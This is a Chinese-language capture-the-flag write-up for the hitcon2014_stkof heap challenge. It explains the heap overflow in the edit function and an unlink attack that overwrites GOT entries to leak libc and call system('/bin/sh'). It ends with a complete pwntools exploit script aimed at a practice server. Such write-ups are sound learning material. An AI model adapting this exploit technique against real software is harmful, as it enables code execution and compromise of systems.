hitcon2014_stkof
使用checksec
查看:
开启了Canary和栈不可执行,没有开启PIE。
先运行一下看看,发现是直接可以输入的,什么提示也没有,那么先拉进IDA中看:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
signed int v5; // [rsp+Ch] [rbp-74h]
char nptr; // [rsp+10h] [rbp-70h]
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
while ( fgets(&nptr, 10, stdin) )
{
v3 = atoi(&nptr);
if ( v3 == 2 )
{
v5 = edit();
goto LABEL_14;
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
v5 = delete();
goto LABEL_14;
}
if ( v3 == 4 )
{
v5 = show();
goto LABEL_14;
}
}
else if ( v3 == 1 )
{
v5 = add();
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}
看了个大概,是一道堆题,这里我已经将函数重命名了,接下来分步看。
首先是sub_4009E8()
:
-
n = atoll(&s);
:n是由用户输入的 -
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
:因为n是由用户输入的,所以这边就存在了一个堆溢出。 - 对应
edit()
sub_400B07()
:
-
::s[v1] = 0LL;
:指针置0了,没啥毛病 - 对应
delete()
sub_400BA9()
:
- 初步看起来没啥用的函数,因为它并不能输出啥东西啊,但是后面会用到。
-
strlen(::s[v1])
:将strlen@got
换成puts@plt
会输出s[v1]所指向的地址的数据,用来泄露libc - 对应
show()
sub_400936()
:
-
::s[++dword_602100] = v2;
:heap的地址是存放在bss段上的。 - 对应
add()
接下来先看下bss段:
- heap存储的起始地址并不是
0x602100
而是602140
题目思路
- 存在堆溢出
- heap在bss段上
- so…首想unlink
- 制造fake_chunk,通过unlink进行任意地址写
- 覆盖
strlen@got
为puts@plt
,泄露出free@got
地址,从而得到libc的基地址 - 覆盖
free@got
为system@got
,执行system('/bin/sh')
步骤解析
首先创建三个chunk:0x90、0x90、0x10,看下heap的布局情况
发现并没有将我们的两个
0x90
chunk连在一起,这里需要先申请一个chunk绕过限制。绕过后的堆布局如下:
这里还需要注意的是该程序并没有chunk0,是从chunk1开始的
接着就需要构造
fake_chunk
,进行unlink了,此处可以先将chunk4内容修改为/bin/sh\x00
,或者之后再修改也没有问题
fake_chunk = p64(0)+p64(0x91) + p64(bss_addr-0x18) + p64(bss_addr-0x10) fake_chunk = fake_chunk.ljust(0x90,b'M') fake_chunk += p64(0x90) + p64(0xa0)
这里
bss_addr
为0x602150
,并不是0x602140
,因为我们修改的是chunk2,前面还需要0x10
的空间,这0x10
的是存放chunk0和chunk1的地址的。
delete(3)
完成unlink,堆布局如下:
此时edit chunk2就可以修改各个chunk指向的地址。
payload = p64(0) + p64(strlen_got) + p64(free_got) edit(2,0x18,payload) edit(0,0x8,p64(puts_plt)) show(1)
布局覆盖
strlen@got
为puts@plt
泄露free@got
所指向的地址,获得真实libc的地址。
这里还有个坑,有个OK需要接收,之后才是泄露的
free@got
地址得到libc地址之后就可以获取
system
地址,覆盖free@got
进行getshell
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",26925)
# r = process("../buu/hitcon2014_stkof")
elf = ELF("../buu/hitcon2014_stkof")
libc = ELF("../buu/ubuntu16(64).so")
context.log_level='debug'
def add(size):
r.sendline('1')
r.sendline(str(size))
r.recvuntil('OK')
def edit(index,size,content):
r.sendline('2')
r.sendline(str(index))
r.sendline(str(size))
r.send(content)
r.recvuntil('OK')
def delete(index):
r.sendline('3')
r.sendline(str(index))
def show(index):
r.sendline('4')
r.sendline(str(index))
r.recvuntil('OK')
#params
bss_addr = 0x602150
puts_plt = elf.plt['puts']
free_got = elf.got['free']
strlen_got = elf.got['strlen']
add(0x100) #1
add(0x90) #2
add(0x90) #3
add(0x10) #4
# gdb.attach(r)
edit(4,0x8,b'/bin/sh\x00')
fake_chunk = p64(0)+p64(0x91) + p64(bss_addr-0x18) + p64(bss_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
edit(2,0xa0,fake_chunk)
# gdb.attach(r)
delete(3)
# gdb.attach(r)
payload = p64(0) + p64(strlen_got) + p64(free_got)
edit(2,0x18,payload)
# gdb.attach(r)
edit(0,0x8,p64(puts_plt))
# gdb.attach(r)
show(1)
r.recvline()
free_addr = u64(r.recv(6).ljust(8,b'\x00'))
#libc
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']
edit(1,0x8,p64(system_addr))
delete(4)
r.interactive()